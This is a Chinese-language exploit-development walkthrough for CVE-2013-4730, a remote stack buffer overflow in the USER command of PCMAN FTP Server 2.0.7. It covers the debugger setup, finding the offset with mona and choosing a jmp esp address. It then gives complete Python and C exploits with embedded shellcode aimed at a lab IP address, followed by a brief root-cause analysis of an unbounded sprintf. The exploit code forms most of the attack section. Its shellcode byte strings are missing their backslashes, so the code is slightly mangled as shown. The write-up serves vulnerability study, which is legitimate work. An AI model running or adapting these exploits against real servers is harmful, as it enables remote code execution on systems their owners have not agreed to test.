1. 漏洞简介
软件名称
PCMAN ftp
软件版本
server 2.0.7
漏洞类型
远程缓冲区溢出
漏洞触发点
未对user命令做长度限制检查
漏洞编号
CVE-2013-4730
其他信息:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4730_A
2. 漏洞详细复现
1. 环境搭建
- 自动生成有序数,并能确定异常点的偏移可以使用windbg插件Mona2
- Mona2 需要Python2.7
- windbg(用来定位jmp esp地址)
- x64dbg
- vs写测试代码和shellcode
- 虚拟机win7 sp1
- wdk 自带windbg
- python2.7
- vc++ 2008运行库
- 安装windbg的python 插件pykd
- 复制mona.py和windbglib.py到windbg同目录
- 运行windbg随便调试一个程序进程环境测试
.load pykd.pyd | 加载pykd |
!py mona | 测试mona |
.reload /f | 检查windbg符号路径是否正常 |
2. vs2015写测试代码
首先我们要能与FTP进行交互才能触发漏洞,只要我们编写的代码符合RFC959标准,就可以与任何一个FTP服务器进行交互,有兴趣的可以去阅读RFC959文档。
#define _WINSOCK_DEPRECATED_NO_WARNINGS #include <stdio.h> #include <WinSock2.h> #include <windows.h> #pragma comment(lib,"ws2_32.lib") int main() { // 1. -初始化WinSocket服务 WSADATA stWSA; WSAStartup(0x0202, &stWSA); // 2. 创建一个原始套接字 SOCKET stListen = INVALID_SOCKET; stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); // 3. 在任意地址绑定端口21 SOCKADDR_IN stService; stService.sin_addr.s_addr = inet_addr("192.168.43.82"); stService.sin_port = htons(21); stService.sin_family = AF_INET; connect(stListen, (SOCKADDR*)&stService, sizeof(stService)); // 4. 接收返回信息缓冲区 char szRecv[0x100] = { 0 }; // 5. 登陆请求 char *pCompand = "USER SUN"; recv(stListen, szRecv, sizeof(szRecv), 0); send(stListen, pCompand, strlen(pCompand), 0); // 6. 接收信息 recv(stListen, szRecv, sizeof(szRecv), 0); // 7. 清理环境 closesocket(stListen); WSACleanup(); return 0; }
图中可以看到测试代码连接成功
3. poc构造
利用mona构造长字符串
!py mona pc 3000
在上述的测试代码中将用户名 USER SUN 改为刚生成的这个长字符串。看程序能不能崩溃,如果崩溃了,说明测试成功
4. 复现
- 打开pcman-ftp软件
- 打开windbg并附加pcman-ftp进程
- windbg加载pykd.pyd
.load pykd.pyd
- vs发送测试包,然后看到windbg信息
- mona查看溢出点
!py mona po 发生溢出的eip
我们看到这里的偏移为2007
5. exploit构造
首先找本模块的jmp esp看有没有能用的
!py mona.py jmp -r esp
然后找系统模块的jmp esp,一般都会用系统模块 因为某系特点的系统模块没有开随机基址
!py mona jmp -r esp -m kernel32.dll
找到了四个,并且可以用
- USER 也就是用户名
- 无意义的字符串,大小为2002个
- jmp esp
- nop填充
- shellcode
#!usr/bin/python
# -*- coding: utf-8 -*-
import socket
Cmd = b"USER "
Fill = b"x41" * 2002
Jmp = b"xf7xfbx54x76"
Nop = b"x90" * 50
ShellCode = b"x33xC0xE8xFFxFFxFFxFFxC3x58x8Dx70x1Bx33xC9x66xB9x11x01x8Ax04x0Ex34x07x88x04x0ExE2xF6x80x34x0Ex07xFFxE6"
b"x67x84xEBx27xECx4Ax40x62x73x57x75x68x64x46x63x63"
b"x75x62x74x74x07x4Bx68x66x63x4Bx6Ex65x75x66x75x7E"
b"x42x7Fx46x07x52x74x62x75x34x35x29x63x6Bx6Bx07x4A"
b"x62x74x74x66x60x62x45x68x7Fx46x07x42x7Fx6Ex73x57"
b"x75x68x64x62x74x74x07x4Fx62x6Bx6Bx68x27x50x68x75"
b"x63x26x07xEFx07x07x07x07x5Cx63x8Cx32x37x07x07x07"
b"x8Cx71x0Bx8Cx71x1Bx8Cx31x8Cx71x0Fx8Ex72xF7x8CxD1"
b"x8Cx45x3Bx8Ax03x05x8Cx52xF7x8Cx47x7Fx8Ax03x17x8C"
b"x4Fx1Bx8Ax0Bx16x8Ex4AxFBx8Cx4Fx27x8Ax0Bx16x8Ex4A"
b"xFFx8Cx4Fx23x8Ax0Bx16x8Ex4AxF3x34xC7x8Cx52xF7xEC"
b"x06x47x8Cx7AxFFx8Cx3Bx80x8Cx52xF7x8Ax3Bx3Dx8Ax74"
b"xA9xBEx09x07x07x07xFBxF4xA1x72xE1x8Cx52xF3x34xCE"
b"x61x8Cx0Bx45x8Cx52xFBx8Cx33x8Dx8Cx7AxF7x8Ax03x30"
b"x8Ex42xEBx8Ax44xBAx57xF8x72xF7xF8x52xEBx8Ex42xEF"
b"x8Ax54xCBx34xCEx56x56x55xF8xD7x8Ex42xE3x8Ax44xD0"
b"x57xF8x72xE3xF8x52xEBx34xCEx56x8Ax7CxE8x50x50x56"
b"xF8xD7x8Ax44xE4x57xF8x72xF7xF8x52xEBx34xCEx56xF8"
b"xD7"
def main():
print("创建SOCKET")
net_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("连接")
port = 21
net_sock.connect(('192.168.43.82',port))
print(net_sock.recv(1024).decode('utf-8'))
data = Cmd + Fill + Jmp + Nop + ShellCode
net_sock.send(data)
print(net_sock.recv(1024).decode('utf-8'))
net_sock.close()
if __name__ == '__main__':
main()
#define _WINSOCK_DEPRECATED_NO_WARNINGS #include <stdio.h> #include <WinSock2.h> #include <windows.h> #pragma comment(lib,"ws2_32.lib") char bShellcode[] = "x33xC0xE8xFFxFFxFFxFFxC3x58x8Dx70x1Bx33xC9x66xB9x11x01x8Ax04x0Ex34x07x88x04x0ExE2xF6x80x34x0Ex07xFFxE6" "x67x84xEBx27xECx4Ax40x62x73x57x75x68x64x46x63x63" "x75x62x74x74x07x4Bx68x66x63x4Bx6Ex65x75x66x75x7E" "x42x7Fx46x07x52x74x62x75x34x35x29x63x6Bx6Bx07x4A" "x62x74x74x66x60x62x45x68x7Fx46x07x42x7Fx6Ex73x57" "x75x68x64x62x74x74x07x4Fx62x6Bx6Bx68x27x50x68x75" "x63x26x07xEFx07x07x07x07x5Cx63x8Cx32x37x07x07x07" "x8Cx71x0Bx8Cx71x1Bx8Cx31x8Cx71x0Fx8Ex72xF7x8CxD1" "x8Cx45x3Bx8Ax03x05x8Cx52xF7x8Cx47x7Fx8Ax03x17x8C" "x4Fx1Bx8Ax0Bx16x8Ex4AxFBx8Cx4Fx27x8Ax0Bx16x8Ex4A" "xFFx8Cx4Fx23x8Ax0Bx16x8Ex4AxF3x34xC7x8Cx52xF7xEC" "x06x47x8Cx7AxFFx8Cx3Bx80x8Cx52xF7x8Ax3Bx3Dx8Ax74" "xA9xBEx09x07x07x07xFBxF4xA1x72xE1x8Cx52xF3x34xCE" "x61x8Cx0Bx45x8Cx52xFBx8Cx33x8Dx8Cx7AxF7x8Ax03x30" "x8Ex42xEBx8Ax44xBAx57xF8x72xF7xF8x52xEBx8Ex42xEF" "x8Ax54xCBx34xCEx56x56x55xF8xD7x8Ex42xE3x8Ax44xD0" "x57xF8x72xE3xF8x52xEBx34xCEx56x8Ax7CxE8x50x50x56" "xF8xD7x8Ax44xE4x57xF8x72xF7xF8x52xEBx34xCEx56xF8" "xD7"; int main() { //构造exp char cExpolit[5000] = { 0x00 }; char cFill[5000] = { 0x00 }; char cNop[51] = { 0x00 }; char cRetAddr[5] = "xf7xfbx54x76"; // 0x7654fbf7 memset(cFill, 'A', 2002); // 别忘了USER 还占5个字节 memset(cNop, 'x90', 50); sprintf_s(cExpolit, "%s%s%s%s%s%s","USER ", cFill, cRetAddr, cNop, bShellcode, "rn"); // 1. -初始化WinSocket服务 WSADATA stWSA; WSAStartup(0x0202, &stWSA); // 2. 创建一个原始套接字 SOCKET stListen = INVALID_SOCKET; stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); // 3. 在任意地址绑定端口21 SOCKADDR_IN stService; stService.sin_addr.s_addr = inet_addr("192.168.43.82"); stService.sin_port = htons(21); stService.sin_family = AF_INET; connect(stListen, (SOCKADDR*)&stService, sizeof(stService)); // 4. 接收返回信息缓冲区 char szRecv[0x100] = { 0 }; // 5. 登陆请求 recv(stListen, szRecv, sizeof(szRecv), 0); send(stListen, cExpolit, strlen(cExpolit), 0); // 6. 接收信息 recv(stListen, szRecv, sizeof(szRecv), 0); // 7. 清理环境 closesocket(stListen); WSACleanup(); system("pause"); return 0; }
3. 漏洞分析
现在我们来分析一下这个漏洞到底是如何生成的。
这里我们用到windbg的动态调试和IDA的静态调试
再用刚才的poc,寻找没有覆盖溢出点的地方,然后我们在这个地方下硬件写入断点,然后观察堆栈以及数据覆盖变化
断下了
- 我们通过widbg和IDA栈回溯看看到底调用的哪个地方造成了数据覆盖,回溯了好几层,需要耐心观察最后我们发现这里比较可疑
- 验证,我们重新运行然后widbg在sprintf下断点
bp 00403EE6
并且观察堆栈,发现前后堆栈数据被poc的数据覆盖
sprintf运行了好几次,最后一次是因为复制的字符串太长导致返回值被覆盖,从而造成缓冲区溢出,
造成这个种结果是因为在拼接最后一个字符串的时候没有做长度限制,导致缓冲区溢出